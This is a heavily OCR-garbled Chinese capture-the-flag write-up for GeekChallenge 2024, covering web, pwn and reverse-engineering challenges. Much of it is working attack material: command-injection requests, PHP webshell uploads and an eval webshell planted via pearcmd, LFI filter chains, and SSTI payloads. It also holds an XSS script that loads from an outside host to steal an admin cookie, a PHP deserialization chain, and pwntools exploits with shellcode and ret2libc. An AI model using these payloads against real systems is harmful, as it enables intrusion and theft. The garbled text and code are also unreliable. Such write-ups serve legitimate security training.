REAKHEEE2024 Writeup

Web

Http

© my (<[
K
=t Raw  Hex PN \n =

[ O

o

POST /?reloadCount=0&welcome=geekchallenge2024 HTTP/1.1

Host: 80-7c0c4564-1cd9-4b50-b983-0103f5ealc32. challenge. ctfplus. cn
X-Real-ip: 127.0.0.1

STARVEN: I Want Flag

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
Gecko/20100101 Firefox/121.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/we
bp, #/%;q=0. 8

Accept-Language:

zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK ; ¢=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate, br

Content-Type: application/x—www—form—urlencoded

Content-Length: 37

Origin:

http: //80 TcOc4564~ lcd9 4b50-b983-0103f5ea0c32. challenge. ctfplus. cn

x64; rv:121.0)

Referer: https //www sycsec. colm

Upgrade—-Insecure-Requests: 1

Cookie: token=

eyJ0eXAiOiJEV1QiLCThbGei0iJTIU2T1INTJ9. eyJpc3MiOiJTdGFydmVuT iwiYXVKTI joiQ3Rm
ZXIiLCJpYXQi0jE3MzAONTQ50TIsIm51Z1iI6MTe zMDQINDLSMiwiZXhwI joxNzMwNDYyMTkyL
CJ1c2VybmFtZSI6T1NOYXJ2ZW4iLCTwYXNzd29yZCI6InF3ZXJOMTIzNDU2 T iwiaGFzRmxhZy
16dHJ1ZX0. r T4kpOuaSxE5goktOcelj91nw5Hd8 jBOBUfmx8ZDwvle

tusername=Starven&password=qwert123456

100%HY

consoleEBgEEZ

ERENED, R

B#F: http://80-7c0c4564-1cd9-4b50-b983-

i 2

e

12
13

1 console.log($('footer p span').text());

2 if (score ==

3

Raw

</span>

<{span style="color:
l&nbsp;==&nbsp;

</span>

<{span style="color:
”1_Want_Flag”

</span>

<span style="color:
Ye&nbsp; {<br />
&nbsp ; &nbsp; &nbsp; &nbsp; echo&nbsp;

</span>

<{span style="color:

Hex — TUEIEHR 0 =

£0077007>
&DD0000”>

#0077007>

#DD0000 ">
</span>
<{span style="color:
<br />
Fbr />
</span>
<{/spany
</code>
haha! Thers is last level, please view your cookie and get flag!<br>
where is key?<br>
give your cookie : token =
eyJ0eXAi101iJEV1QiLCJhbGei0iJIUzI1INiJ9. ey Jpe3Mi0iJTAGFydmVuliwiYXVKT joiQ3Rm
ZXTiLCJpYXQi0jE3MzAONTUOMzUs Tm5 171 T6MTczMDQINTQzNSwiZXhwI joxNzMwNDYyN jM1L
CJ1c2VybmFtZST6TINOYXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJOMTIzZNDU2TiwiaGFzRmxhZy
16ZmFsc2V9. 0r-9Uxwc I6h TkMeRZP JP2m8Dv £ 5BX 1Dk jR5 fwk_VIwM<hr >
<{1—kev is “Starven_secret_key”——><br>
You pass all levels! here is your
flag:SYC{fbd4d7e3*54b4*47f3*8269*ffcf187f3572H

#007700”>

Elcircle.htmleI LB Rt flaghyiZ i

100) {
FFF1LL11laaaaaggggg=

atob ("U11DezVVYBhTfQF9XbzBkM3ImVWxfQ21SYzF1fQ=="");

base64fEtiflag: SYC{5UcH_@_Wo0d3rfUl_CiRcle}

rce_me

fal B Ry Gead



BR N 2
=k Raw Hex RNEB W = = Raw  Hex TmER n =
1 POST /?year=1e4&purpose=rcekcode=system(“cat%20/flag”); HTTP/1.1 <{/span> ; ‘ ;
9 Host: 80-527d2775-f7a5-4576-he87-79aa46d310f2. challenge. ctfplus. cn <SDHH”STY15: color: #DDO000™>
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) It&nbsp; is&nbsp;not&nbsp; enoughlnbsp; toknbsp; stopknbsp;vo
Gecko/20100101 Firefox/121.0 ul&lt;brkgt;
Accept : <{/span>
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/we {span style="color: #007700">
bp, #/%;q=0. 8 <hr />
5 Accept-Language: &nbsp;&nbsp; &nbsp;&nbsp; } <br />
zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US ;q=0. 3, en;q=0. 2 }&nbsp; elseknbsp; {<br />
6 Accept-Encoding: gzip, deflate, br &nbsp; &nbsp; &nbsp ;&nbsp ; echoknbsp;
7 Content-Type: application/x-www-form-urlencoded </span>
3 Content-Length: 47 {span style="color: #DD0000">
9 Origin: “Tt&nbsp; is&nbsp; soknbsp;easy, &nbsp; do&nbsp ; you&nbsp ; know&
http://80-527d2775-FTa5-4576-he87-T9aa46d310£2. challenge. ctfplus. cn nbsp; shaldmbsp;and&nbsp;md52&1t; brégt;”
10 Comnection: keepralive </span>
11 Referer: {span style="color: #007700">
http://80-527d2775-fTa5-4576-be87-79aa46d310f2. challenge. ctfplus. cn/ i <br />
19 Upgrade-Insecure—Requests: 1 }<br />
13 </span>
14 start[]=1& [2024. geekchallenge. ctf=0e1290633704 {span style="color: #0000BB">
&gt <br />
</span>
12 </span>

13 </code>
Welcome to GeekChallenge2024!<br>
You took the first step!<br>
Well, I know the year is 2024<br>
Get the flag now!<br>
FYC{19460604*8f29*4383*ae11*e0224ba39a68}

14
@@ & ||| | search JORIN iT=+=1 @@ & | svc X 1EER
s ~p [T N -~
E%2iRA Tidl.jpg.php, AMEZELET
= =
BxK el i
Z(t Raw  Hex N W = Z{k Raw Hex WEER n =
1 POST /uploads/1. jpg. php HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 80-d2e89941-d575-4587-ab03-77a8f23f9h93. challenge. ctfplus. cn 2 Date: Fri, 01 Nov 2024 11:01:41 GMT
3 User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:121.0) 3 Content-Type: text/html
Gecko/20100101 Firefox/121.0 4 Connection: keep-alive
Accept: 5 X-Powered-By: PHP/5.5.38
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/we 6 Vary: Accept-Encoding
bp, */*;q=0. 8 7 Cache—Control: no-cache
5 Accept-Language: 3 Content-Length: 42
zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK ; ¢=0. 5, en-US; ¢=0. 3, en;¢=0. 2 9
6 Accept-Encoding: gzip, deflate, br 10 SYC{3b8ffcff-015e-4a3d-8fc2-6dfc24ef1169)
7 Referer: 11 I

http://80-d2e89941-d575-4587-ab03-77a8f23f9h93. challenge. ctfplus. cn/uploa
ds/1. ipg. php

g Content-Type: application/x-www—form—urlencoded
Content-Length: 38

10 Origin:
http://80-d2e89941-d575-4587-ah03-77a8f23f9h93. challenge. ctfplus. cn

11 Connection;: keepralive

12 Upgrade-Insecure-Requests: 1

14 shell=system%28%22cat+%2Ff1agh22%29%3B

ez_include
W _EBIpayload—iB#R T HE—x%:

file=php://filter/convert.base64-
encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self
/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/ro
ot/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/
html/starven_secret.php



—Hbase64f#HRE X

Hop
W

1 <?php
2 S$secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
3 >

EREHRET mER, AXpayloadEANAKZEIE] Eshell:

?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?
=@eval($_POST['cmd']);?>+/tmp/shell.php

EMMRTEEFEEFflag: SYC{3b8d8f10-3b75-441a-a3d0-f154f5170b72}

Can_you_Pass_Me

RIE—IER T, KIEAREERE R flag, BT Tapp.py, BEXflaghi A REESTEM H I T
F, BABRNRAERNEEMITT, XBEREFEF4INFR

SN http://80-33e2b4be-8417-41 o
ad: {%print

T 5, 7 '7‘:2:1 Fpayload
whomu to SycLover 7( 24 SYC{105eb535-fa37-495a-bc37-815ce367el2b}

TN
17 3K 18] [
oA AR =1

jinjalJ&EBs

, TN name’ :  {%pri
B R ((joiner|attr (\ 1111t \) lattr (" _\"\ be

head -c 41 /flag

SecretinDrivingSchool

TR B3 EIZFETIEL000G1n.php

B/NAR&Nadmin, ZEEITIREAUFEISYC@chengxing
Frr&BEAN—1"AD%deval, POSTZEMEIRIZHshell



a A W N -

© 00 N O

10
11
12
13

14
15
16
17
18
19
20
21
22
23

<?php
header ("Content-Type: text/html; charset=UTF-8");
Sads = [
"<div style='padding: 20px; background-color: #ffeb3b; text-align:
center;'>
<h2>PREYEE: FHEILF2007T! </h2>
<p>IBliRE, ERMEN, REZER! </p>
</div>",
"<div style='padding: 20px; background-color: #4caf50; color:

align: center;'>
<h2>HF RHEFITRI</h2>
<p>EFMFR, MNEREZRUNFAILRE! </p>

</div>'",

"<div style='padding: 20px; background-color: #2196f3; color:

align: center;'>

<h2>E=FFEZRY! </h2>
<p>IRBER, MERE29997T, ILEMTHHIE! </p>
</div>"
13
$random_ad = $ads[array_rand($ads)];

$password = "cmd";

white; text-

white; text-

array_udiff_assoc(array($_REQUEST[$password]), array(l), "assert");

echo S$random_ad;
?>

IFET 2B Fflag:SYC{b05f2072-8ef6-4420-8768-8bb8b36367e3}

Problem_On_My_Web
DIEfFTEXSS A



< c A F#2 80-a899%eee3-6af5-4e7c-83d4-58e66b464246.challenge.ctfplus.cn/forms

Submit your love
Username:
<sCRIiPt sRC=//xs.pe/AUP></sCrlpT>

Time

123

Message:

123

submitfgZEmanager A28 Ainia]— FEIR] L4

< c A FZ% 80-a899eee3-6af5-4e7c-83d4-58e66b464246.challenge.ctfplus.cn/manager

If you could tell me where my website has a problem,i would give you a gift in my cookies!!! [Post url=]

G DevTools - 80-a899eee3-6af5-4e7c-83d4-58e66b464246.challenge.ctfplus.cn/manager
iR [0 7x =88 BRSKE W& #H AF O NE =8 Lighthouse  ZRE8 MRS X HackBar

SPLIT EXECUTE TEST ~ sQLl - XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

http://806-a899eee3-6af5-4e7c-83d4-58e66b464246.challenge.ctfplus.cn/manager

enctype

@@ Use POST method application/x-www-form-urlencoded MODIFY HEADER

Body Name

url=http://127.06.0.1 /| Upgrade-Insecure-Requests

Name

User-Agent

Name

Accept

Name

Bx O 0

% o9 0O

CUSTOM ~ MODE ~ THEME ~

1

Value

Mozilla/5.8 (Windows NT 10.0; Wi

Value

text/html, application/xhtml+xml,

Value




TLXSSTA oS O RIREE 4 TOORE é Starr v

SGRE
J— coren | oN@EE | CRE
D R LE&RIE ozl MRRE fREP T ##E
BERETE
153160  2024-11-0522:28:21  Information Display http://127.0.0.1/ 103.135.102.180 [ ]
RIER - _
n =1 W g H1E S0FMm v

BRI

88  BHmMA

geek

fEcookiesHAILIE F!flag

TLXSS¥& / £ 3 B Star v

=EI%153169
TR

igRID
ERRARIE
BREMARE
fabe T EEP
RERE
i TOP_URL
A URL
FARE
pUbE e
referrer
User Agent
Cookies
localStorage

sessionStorage

ezpop
popHERVIHIE T EIRAFN
F—EMN)

FEZNIENTIRE TR

1 preg_match('/%

153169

2024-11-05 22:28:21

2024-11-05 22:28:21

103.135.102.180

Information Display

http://127.0.0.1/

http://127.0.0.1/

800*600

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36

flag=SYC{8cc314a3-081d-452a-9d63-39256fef885b}

nt="width=device-width, initial-scale=1.0"
formation Displ
static/s

LoveWall

N EREIRIRA:

BERMIET N REFICEIND
TR R Ameimeng, EsEASHLEI LB+ #BIZRTImeimengsRid T

ERERRITEY

jconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven



M EHN—LEFERERTREIIK, BUESBUHEEKESEN, XBEFEF A htaccessHITMER,
AEEEflag, MB#ERBLAE T flagliiT/flag

<?php
error_reporting(0);
Class SYC{

public $starven;

Class lover{
public $J1rry = "data://text/plain,Welcome GeekChallenge 2024";

public $meimeng;

© 0o N oo u M W N
()

[ S S
w N RO
-

Class Geek{
public $GSBP;

e e
o N o G b»
)

$a = new SYC();
$a->starven='"php://filter/write=string.strip_tags/?

=
(e}

>php_value¥%$20auto_prepend_file%20/flag%0a%23/resource=.htaccess";
20 $b = new Geek();
21 $b->GSBP=$a;
22 Sc = new lover();
23 Sc->meimeng=Sh;
24 $d = new Geek();
25 $d->GSBP=$c;
26 Se = new lover();
27 Se->meimeng=5d;
28

29 echo serialize(Se);

AFEZEBurlRiBEMNERK EstarvenB T, FAILFEEBCiBstarvenNEMHEKER—T

1 0:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge
2024";S:7:"\6deimeng" ;0:4:"Geek":1:{s:4:"GSBP";0:5:"lover":2:
{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge
2024";S:7:"\6deimeng" ;0:4:"Geek":1:{s:4:"GSBP";0:3:"SYC":1:
{s:7:"starven";s:93:"php://filter/write=string.strip_tags/?>php_value
auto_prepend_file /flag¥0A%23/resource=.htaccess";}}}}}



ZERF—ToiEmeEEEIflagy

ctfplus.cn

SYC{581dc28d-de06-42a8-ac87-2de804cf3df7} success
Warning: file_put_contents(): unable to locate¥lter "?>php_value auto_prepend_file " in /var/www/html/index.php on line 8

Warning: file_put_contents(): Unable to create filté§ (?>php_value auto_prepend_file ) in /var/www/html/index.php on line 8
Warning: file_put_contents(): unable to locate filter "flag #" in /var/www/html/index.php on line 8

Warning: file_put_contents(): Unable to create filter (flag #) in /var/www/html/index.php on line 8

Just do itsuccess

Fatal error: Uncaught Error: Function name must be a string in /var/www/html/index.php:33 Stack trace: #0 /var/www/html/index.php(18): Geek->__get('source’) #1 /var/www/html/index.php(47):
lover->__destruct() #2 {main} thrown in /var/www/html/index.php on line 33

Pwn

ez_shellcode
5tE Ashellcode, BiTHiZF e Tgiftflishellcode

from pwn import *

1

2

3 p = remote("ncl.ctfplus.cn",19864)

4 shellcode =
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\
x58\ x99\ x0f\x05"

5 gift = 0x401256

6 backdoor = 0x4040b0

7 p.sendlineafter(b"do you know shellcode?", shellcode)

8 payload = b"A"*(0x18+8) + p64(gift) + p64(backdoor)

9 p.sendlineafter(b'"please input your name:'", payload)

10 p.interactive()

11

12

UIE=X Bt tael
e

from pwn import *

p = remote('"ncl.ctfplus.cn", 31780)

backdoor = 0x400728

payload = b"A"x(0xC+8)+ p64(0x40078f) + p64(backdoor)
p.sendlineafter (b"Welcome to geek,what's you name?", payload)
p.interactive()

0o N o o0 WN R



9 #SYC{815bd661-0940-4285-alc5-1dacefObd1fd}

00000
JEB FF Sk 2\ X008V 2 R5 EP A]

1 from pwn import *
2
3 context(os='linux', arch="amd64', log_level='debug')

4 while True:

5 p = remote("ncl.ctfplus.cn", 30732)

6 password = b"\x00"

7 p.sendlineafter(b"Enter the password: ", password)
8 res = p.recvline().decode()

9 if "safe" in res:

10 p.interactive()

11 else:

12 p.close()

13

14 #SYC{6ee274c8-3dfO-4f6d-adbl-1f5a7b8c9de69}

L=kl
f—E T

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = remote("ncl.ctfplus.cn", 46179)
p.sendafter(b"start our challenge.", b"\n")
p.recvuntil(b"\n")

question = p.recv().decode().replace("=","")

© 0o N o b~ W N R

answer = eval(question)

=
(o}

p.sendline(str(answer) .encode())

=
=

p.interactive()

T
w N

#SYC{66620b84-4a4c-4622-8fba-49590a518f10}

SU~~~~
FT®ret2libc, RUIAETRERT , XHFRBHMhint#EEcsu (



from pwn import *

from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

elf = ELF("./csu")
p = remote('"ncl.ctfplus.cn", 41732)

O 0o N oo b~ W N PR

p.sendline(b"1'")

e
NG

rdi = 0x400903

elf.plt["puts"]

puts_got = elf.got["puts"]

offset = Ox80+8

main = Ox40080c

payload = b"A"xoffset + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)

real_addr = u64(p.recvuntil(b"\x7f")[-6:].1just(8,b"\x00"))
#print(hex(real_addr))

=
N

puts_plt

I e N N
© O 0 ~N O U1 A W
I

N
=

p.sendline(b"1'")

N
N

ret = 0x4005d6

libc_base = real_addr - 0Ox80970

system = libc_base + 0x4f420

str_bin_sh = 1libc_base + 0x1b3d88

payload = b"A"xoffset + p64(ret) + p64(rdi) + p64(str_bin_sh) + p64(system)
p.sendline(payload)

N N N N N NN
O 0o N oo 0 b W

p.interactive()

w W
= ©

#SYC{c65b6146-bdbO-4173-8e30-65ae74652d62}

Reverse

Hello_re
T+ EREE2R BT SYC A UPX , EFRE—TAE upx -d iz

RERY

key = [0x53, Ox59, 0x43, 0x4C, Ox4F, Ox56, 0x45, 0x52]
v7 = [0 for i in range(32)]

v7[0] = 0

v7[1l] = 1

A W N -



5 v7[2] = 2
6 Vv7[3] = 52
7 vi[4] = 3
8 v7[5] = 96
9 v7[6] = 47

10 v7[7] = 28
11 v7[8] = 107
12 v7[9] = 15
13 v7[10] = 9
14 v7[11] = 24
15 v7[12] = 45
16 v7[13] = 62
17 v7[14] = 60
18 v7[15] = 2
19 v7[16] = 17
20 v7[17] = 123
21 v7[18] = 39
22 v7[19] = 58
23 v7[20] = 41
24 v7[21] = 48
25 v7[22] = 96
26 Vv7[23] = 26
27 v7[24] = 8
28 v7[25] = 52
29 v7[26] = 63
30 v7[27] = 100
31 v7[28] = 33
32 v7[29] = 106
33 v7[30] = 122
34 v7[31] = 48
35 for j 1in range(len(v7)):

36 v7[j]l »=3j ~ key[j%8]
37 print(bytes(v7).decode())
38

39 #SYC{H31IO_@_new_R3vers3_Ctf3r!!}

IEBREIREVRIR
BMEIES, TREnop, 7 0x11C9 M EHEE T RAENaT



lunsigned __int64 __ fastcall sub_14A6(__int64 data, unsigned __int64 len, __int64 key, __int64 a4)

29
3  char v5; // [rsp+2Bh] [rbp-125h]

4 int v6; // [rsp+2Ch] [rbp-124h]

5 int v7; // [rsp+38h] [rbp-128h]

6 unsigned __inté4 i; // [rsp+38h] [rbp-118h]
7 char v9[264]; // [rsp+4eh] [rbp-118h] BYREF
g unsigned __inté4 vi1e; // [rsp+148h] [rbp-8h]
9

19 vle = __readfsqword(ex28u);

11 ((void (__fastcall *)(char *, __inte4, _ inte4))((char *)&sub_11C8 + 1))(vo, key, a4d);
12 v6 = B;
13 v7 = 8;

14 for (i = @LL; 1 < len; ++i )

15 {

16 v6 = (v6 + 1) % 256;

17 v7 = (v7 + (unsigned __int8)v9[ve]) % 256;
18 v5 = v9[ve];

19 va[ve] = vo[v7];
20 vo[v7] = v5;
21 *(_BYTE *)(data + i) *= vo[(unsigned _int8)(ve[ve]l + vo[v7])];

22 3}
23  return __readfsqword(@x28u) ~ v1g;
24%

D TIEERRRGEMRCE, HIAEZRED,

1 key = b"syclover"
2 data = [0x94,0x5B,0x7D,0x04,0xC9,0x02,0x7A,0OXA6,
3 57, 7, 152, 188, 13, 104, 249, 126,

4 8, 189, 191, 152, 22, 248, 4, 113,
5 95, 21, 134, 182, 152, 132, 219, 97,109]
6
7 length = len(key)

8 S = [m for m in range(256)]
9 T = [key[n % length] for n in range(256)]

10

11 j =0

12 for i in range(256):

13 j = (j + S[i] + T[i]) % 256

14 S[il,S[31 = S[31,S[A]

15

16 i=j=t=0
17 for k in range(len(data)):

18 i=(i+ 1) % 256

19 j = (j + S[i]) % 256

20 t = (S[i] + S[j]) % 256
21 S[i1,S[31 = S[31,S[4]
22 data[k] A= S[t] * 0x14
23

24 print(bytes(data))

25

26 #b'"'SYC{welcome_t0O_Geek's_3asy_rc4!}\x00"



7R, FILAE R lagh SR N F 05 H TR THIRSHIR(F

1 flag = ""

2

3 m = "TTDvAjrZu GgbtXfi+pZojpZSjXmbgbmt.&x"

4 for i in range(0,len(m)//2):

5 flag += chr(ord(m[ix2]) ~ 7)

6 flag += chr(ord(m[i*x2+1])+5)

7 print(flag)

8

9 #SYC{You_re@lly_knOw_how_To_revers3!}

WIFfRIFjay
B LR RYtxt:

1 #include <stdio.h>

2

3 1int main() {

4

5 char URL[46];

6 char A[46];

7 strcpy (A, URL);

8 char B[] = {6x96, Oxal, 0xa®, Ox9b, Ox9b, Ox5f, 0x49, Ox46, Ox85, 0Ox82,
0x53, 0x95, Ox7d, Ox36, Ox8d, 0x74, Ox82, Ox88, 0x46, Ox7a, Ox81l, Ox65, Ox80,
Ox6c, 0x78, Ox2f, Ox6b, Ox6a, 0x27, Ox50, Ox61, 0x38, 0x3f, Ox37, Ox33, 0Oxfl,
Ox27, 0x32, 0x34, Ox1f, Ox39, 0x23, Oxde, Oxlc, Ox17, Oxd4};

9 int C[] = {06x01, 0x02, O0x03, Ox04, Ox05, Ox06, OxO7, Ox08, Ox09, OxOA,
Ox0B, OxO0C, Ox0D, OxOE, OxOF, 0x10, O0x11, O0x12, O0x13, 0x14, O0x15, O0x16, Ox17,
0x18, 0x19, Ox1A, Ox1B, 0x1C, 0x1D, Ox1E, Ox1F, 0x20, 0x21, 0x22, 0x23, 0x24,
0x25, 0x26, Ox27, 0x28, 0x29, Ox2A, Ox2B, Ox2C, Ox2D, Ox2E, Ox2F, 0x30, 0x31,
0x32, 0x33, 0x34, 0x35, 0x36, Ox37, Ox38, Ox39, Ox3A, O0x3B, Ox3C, Ox3D, Ox3E,
Ox3F, Ox40, Ox41, Ox42, Ox43, 0x44, 0x45, Ox46, Ox47, O0x48, Ox49, Ox4A, Ox4B,
Ox4C, 0x4D, Ox4E, Ox4F, Ox50, 0x51, 0x52, O0x53, 0x54, 0x55, Ox56, Ox57, 0Ox58,
0x59, Ox5A, 0x5B, Ox5C, Ox5D, Ox5E, Ox5F, Ox60, O0x61, 0x62, Ox63, Ox64, Ox65,
0Ox66, Ox67, Ox68, Ox69, Ox6A, Ox6B, Ox6C, Ox6D, OX6E, Ox6F, Ox70, Ox71, Ox72,
0x73, Ox74, Ox75, Ox76, OX77, Ox78, Ox79, Ox7A, Ox7B, 0x7C, Ox7D, OXTE, OXTF,
Ox80, 0x81, Ox82, Ox83, Ox84, 0x85, Ox86, Ox87, Ox88, 0x89, Ox8A, Ox8B, 0x8C,
0x8D};

10 int D[] = {06x5D, 0x5C, Ox5B, Ox5A, Ox59, 0x58, Ox57, Ox56, Ox55, 0x54,

0x53, 0x52, Ox51, Ox50, Ox4F, Ox4E, O0x4D, O0x4C, Ox4B, Ox4A, 0x49, 0x48, 0Ox47,
0x46, 0x45, 0x44, 0x43, O0x42, 0x41l, O0x40, Ox3F, Ox3E, O0x3D, Ox3C, Ox3B, Ox3A,
0x39, 0x38, 0x37, O0x36, Ox35, 0x34, 0x33, 0x32, O0x31, 0x30, Ox2F, Ox2E, 0Ox2D,
0x2C, Ox2B, Ox2A, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, O0x21, 0x20,



11

12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

Ox1F, Ox1E, Ox1D, 0x1C, 0x1B, Ox1A, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, Ox13,
0x12, 0x11, 0x10, OxOF, OxOQE, O0x0D, OxO0C, OxOB, OxO0A, 0x09, O0x08, OxO07, 0x06,
0x05, 0x04, 0x03, Ox02, O0x01};

int E[]={Ox65, 0x64, 0x63, 0x62, Ox61, 0x60, Ox5F, Ox5E, Ox5D, 0x5C, Ox5B,
Ox5A, 0x59, 0Ox58, Ox57, Ox56, O0x55, 0x54, 0x53, 0x52, O0x51, Ox50, Ox4F, Ox4E,
Ox4D, 0x4C, Ox4B, Ox4A, 0x49, 0x48, Ox47, Ox46, 0x45, 0x44, 0x43, 0x42, Ox41,
0x40, Ox3F, Ox3E, O0x3D, O0x3C, Ox3B, Ox3A, 0x39, 0x38, 0x37, 0x36, O0x35, 0x34,
0x33, 0x00, 0x31, Ox30, Ox2F};

int len = strlen(URL);

for(int 1 = 0; 1 < len; i++) {
E[i] A= D[i+1];

X

for(int 1 = 0; 1 < len; i++) {
A[i] *= C[i];

X

for(int 1 = 0; 1 < len; i++) {
E[i] -= C[i];

X

for(int 1 = 05 1 < len; i++) {

A[i] -= C[47 + i];
Cliln=E[51];
}

for(int i = 0; i < len; i++) {
A[i] += D[i];

X

for(int i=0;i<len;i++){
if(A[i] !'= B[i]){

printf("Error");

X

}

return 0;

}

5 i REIZA1SEURL:

1

B = [Ox96, Oxal, 0xal, 0x9b, Ox9b, Ox5f, 0x49, 0x46, Ox85, Ox82, 0x53, 0x95,
Ox7d, 0x36, Ox8d, Ox74, Ox82, 0x88, Ox46, Ox7a, Ox81, Ox65, Ox80, Ox6C, Ox78,
Ox2f, Ox6b, Ox6a, Ox27, Ox50, 0x61, O0x38, Ox3f, Ox37, 0x33, Oxfl, Ox27, 0x32,
0x34, 0x1f, 0x39, 0x23, Oxde, Oxlc, Ox17, Oxd4]



2

O© 00 N O U

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

C = [6x01, Ox02, Ox03, 0x04, O0x05, Ox06, OxO07, O0x08, Ox09, OxOA, O0xO0B, 0x0C,
Ox0D, OxOE, OxOF, 0x10, Ox11, Ox12, 0x13, Ox14, 0x15, Ox16, Ox17, O0x18, 0x19,
Ox1A, Ox1B, 0x1C, Ox1D, Ox1E, Ox1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26,
0x27, Ox28, 0x29, Ox2A, 0x2B, 0x2C, 0x2D, Ox2E, Ox2F, 0x30, 0x31, 0x32, 0x33,
0x34, 0x35, 0x36, Ox37, O0x38, 0x39, Ox3A, 0x3B, O0x3C, 0x3D, Ox3E, Ox3F, 0x40,
Ox41l, Ox42, 0x43, 0x44, 0x45, 0x46, O0x47, 0x48, 0x49, Ox4A, 0x4B, 0x4C, 0x4D,
Ox4E, Ox4F, 0x50, O0x51, O0x52, 0x53, 0x54, 0x55, O0x56, 0x57, 0x58, Ox59, Ox5A,
Ox5B, Ox5C, Ox5D, Ox5E, Ox5F, Ox60, Ox61, 0x62, O0x63, O0x64, Ox65, Ox66, OX67,
Ox68, Ox69, Ox6A, Ox6B, 0x6C, Ox6D, OX6E, Ox6F, Ox70, Ox71l, Ox72, Ox73, Ox74,
Ox75, Ox76, Ox77, Ox78, Ox79, Ox7A, Ox7B, 0x7C, Ox7D, Ox7E, Ox7F, Ox80, 0Ox81,
Ox82, Ox83, Ox84, 0Ox85, Ox86, Ox87, Ox88, Ox89, Ox8A, Ox8B, Ox8C, 0Ox8D]

D = [Ox5D, Ox5C, Ox5B, Ox5A, 0x59, 0x58, O0x57, 0x56, Ox55, 0x54, O0x53, 0x52,
0x51, Ox50, Ox4F, Ox4E, 0x4D, Ox4C, Ox4B, Ox4A, 0x49, 0x48, 0x47, Ox46, 0x45,
Ox44, 0x43, 0x42, O0x41, 0x40, Ox3F, Ox3E, Ox3D, O0x3C, Ox3B, Ox3A, 0x39, 0x38,
0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, Ox30, Ox2F, Ox2E, O0x2D, 0x2C, 0x2B,
Ox2A, 0x29, 0x28, Ox27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, Ox1F, Ox1E,
0x1D, o0x1C, Ox1B, Ox1A, 0x19, 0x18, 0x17, O0x16, Ox15, O0x14, O0x13, O0x12, Ox11,
0x10, OxOF, OxOE, Ox0D, OxOC, OxOB, Ox0A, Ox09, O0x08, 0x07, O0x06, Ox05, O0x04,
0x03, 0x02, 0x01]

E = [0x65, Ox64, 0x63, Ox62, Ox61l, Ox60, Ox5F, OX5E, Ox5D, Ox5C, Ox5B, Ox5A,
0x59, 0x58, Ox57, Ox56, Ox55, 0x54, 0x53, 0x52, O0x51, Ox50, Ox4F, Ox4E, 0x4D,
Ox4C, Ox4B, Ox4A, 0x49, 0x48, 0x47, 0x46, O0x45, 0x44, O0x43, 0x42, Ox41l, 0x40,
Ox3F, Ox3E, 0x3D, 0x3C, Ox3B, Ox3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33,
0x00, 0x31, 0x30, Ox2F]

for i in range(46):
E[i] A= D[i+1]

for i in range(46):
E[i] -= C[i]

for i in range(46):
B[i] -= D[1]

for i in range(46):
B[i] += C[47 + 1]

for i in range(46):
B[i] *= C[i]

for i 1in B:
print(chr(i),end="")

#https://amlre-sudo.github.io/Coisnilgithublioj



HHRE /N, A URBIEREIEM 4 https://amlre-
sudo.github.io/Coisni.github.io/

EEAEHRTIEY, B, RINZEARRCS, fRdiflag: SYC{LIKELISTENJAYSONG}

CPP_Flower

321, RS, EFRBEEMUFIERY, ERENZSHELSHTINSBDALERIL TR,
AR HIMETERS:

° jz + jnz [AE—HuE, BHEFEFHE. MAMIULE loc_xx + 1 XMER

e (call) + add [ebp+4] + ret f{E2fcaliR[EttBretSRIBkEE, o RIBEIREZpwnhY
rop. FE

£&nop, — M AFHE, ENBILRER, FTHEEEE,

1 #include<stdio.h>
2 #include<stdlib.h>
3
4 unsigned int data[] = {
5 62, 152, 235, 38, 37, 142, 37, 229, 134, 200, 63, 152, 200,
6 222,82, 68, 160, 203, 43, 42, 60, 170, 190, 203, 136, 85,
7 158, 109,217, 148, 151, 28, 82, 49, 89, 254, 26, 26, 232,
8 208, 58, 156, 6, 94, 37, 90, 228, 34, 161, 197
9 1}
10
11 1dint main()
12 {
13 srand (0x7de9) ;
14 unsigned char var;
15 for(int i=0;i<50;7++)
16 {
17 var = rand()%255;
18 data[i] 7= var;
19 printf("%c",datal[i]);
20 }
21 return 0;
22 }
23
DHEE%

e, FTIREBELR. RBk jz
BECATEA, AT delta, BXINERNERERNTE2EE


